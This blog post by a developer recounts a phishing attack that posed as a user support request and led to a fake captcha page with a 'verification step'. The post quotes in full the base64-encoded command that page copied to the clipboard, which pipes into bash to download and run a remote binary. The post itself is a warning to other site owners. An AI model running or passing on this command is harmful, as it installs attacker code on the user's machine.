https://www.devas.life/the-scariest-user-support-email-ive-ever-received/ Takuya Matsuyama * Home * About Me * YouTube * Inkdrop Sign in Subscribe Tips The scariest "user support" email I've ever received Takuya Matsuyama Takuya Matsuyama 15 Oct 2025 -- 3 min read The scariest "user support" email I've ever received Hi, it's Takuya. As your app grows in popularity, you occasionally start to attract attacks aimed directly at you--the developer or site owner. Just the other day, I got one that was honestly terrifying, so I'd like to share it. The Email Subject: Cookie consent prevents platform access Hello, I cannot access use the store. The cookie consent notice keeps appearing and nothing happens once I approve or try to close it, so I'm unable to interact with the website. Please provide guidance on how to resolve this or provide an alternative solution so I can access? In short, they're saying: "I can't use your site because the cookie consent keeps blocking access." Weird already -- because my app's website, https://www.inkdrop.app/, doesn't even show a cookie consent dialog. I don't track or serve ads, so there's no need for that. Still, I replied politely: Can you tell me which Url, your OS, and browser? Kind regards, Takuya A bit later, I got this reply (which Gmail had automatically placed in the spam folder): Hey, Thanks for your previous guidance. I'm still having trouble with access using the latest version of Firefox on Windows It's difficult to describe the problem so I've included a screenshot. https://sites.google.com/view/drive-845fro3buhxi/screen?fileid=15034204 Please take a look and suggest the next steps. At first glance, it looked perfectly normal. But notice -- they never actually told me which page was causing the issue. Instead, they sent a link claiming to contain a screenshot. It looked like a Google Drive link, but it was actually a Google Sites page. Without thinking, I clicked it. (You should never do this!) The Trap [image] It showed a Captcha screen. I clicked it... and got this: [image-1] It said something like "verification step" -- telling me to open a terminal, paste a command, and run it. That's when it hit me: "Oh no, this is phishing." The command they had copied to my clipboard was this: echo -n Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHBzOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRjaGE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakttTVVGRVl2OEFsZktS | base64 -d | bash Never run anything like this in your terminal. It downloads and executes a shell script from a remote server -- as ChatGPT confirmed when I asked it to analyze it: [image-2] Absolutely terrifying. Because Gmail had flagged the second message as spam, the URL was probably already reported as malicious. But the first message wasn't flagged -- so I thought, "Maybe it's a false positive," and replied. Big mistake. AI-Powered spam and phishing are on the rise Even on my user forum, I've started seeing suspicious posts that seem to be written by AI. They look natural at first glance, but the intent is unclear -- often just spam or trolling. Phishing emails disguised as support inquiries are getting more sophisticated, too. They read naturally, but something always feels just a little off -- the logic doesn't quite line up, or the tone feels odd. It's unsettling. Stay alert, guys -- the attacks are getting smarter. Hope it's helpful! Read more Discovering the joy of driving as a long-time paper driver Discovering the joy of driving as a long-time paper driver Hi, it's Takuya. Ever since I got my driver's license before entering university, I had basically never driven a car. Living in the city, I avoided driving as much as possible. The thought of operating something that could seriously hurt or even kill someone if I made By Takuya Matsuyama 11 Oct 2025 Zen: Why Inkdrop never extends Markdown syntax Zen: Why Inkdrop never extends Markdown syntax I've been running Inkdrop, which is a Markdown note-taking app, and I've decided to never implement proprietary Markdown extensions, as that's the philosophy of the app. The strength of Markdown (specifically GitHub-flavored Markdown) lies in its status as a widely used, loosely standardized document format in By Takuya Matsuyama 28 Aug 2025 Inkdrop v6(canary) is now available The new Markdown editor and more Inkdrop v6(canary) is now available The new Markdown editor and more Hi! This is Takuya. I'm super excited to announce that the first canary version of v6.0.0 is available It comes with a bunch of ground-up improvements. Let's go! Release notes: Inkdrop Desktop v6.0.0-canary.1 Hi! I'm super excited to announce that By Takuya Matsuyama 01 Aug 2025 Agentic coding made programming fun again Agentic coding made programming fun again Hi, it's Takuya. I have a 9-year-old SaaS with multi-platform desktop and mobile apps called Inkdrop, a plain-text Markdown note-taking app. Recently, I started using Claude Code in my project. My first attempt was a failure, though I eventually got used to it in my workflow. Then, I By Takuya Matsuyama 16 Jul 2025 Takuya Matsuyama * Sign up * Productivity * Life * Tips * Art * Japan * Marketing Powered by Ghost Join me on a behind-the-scenes coding journey. Updates on my projects, tutorials, tips, and videos [ ] Subscribe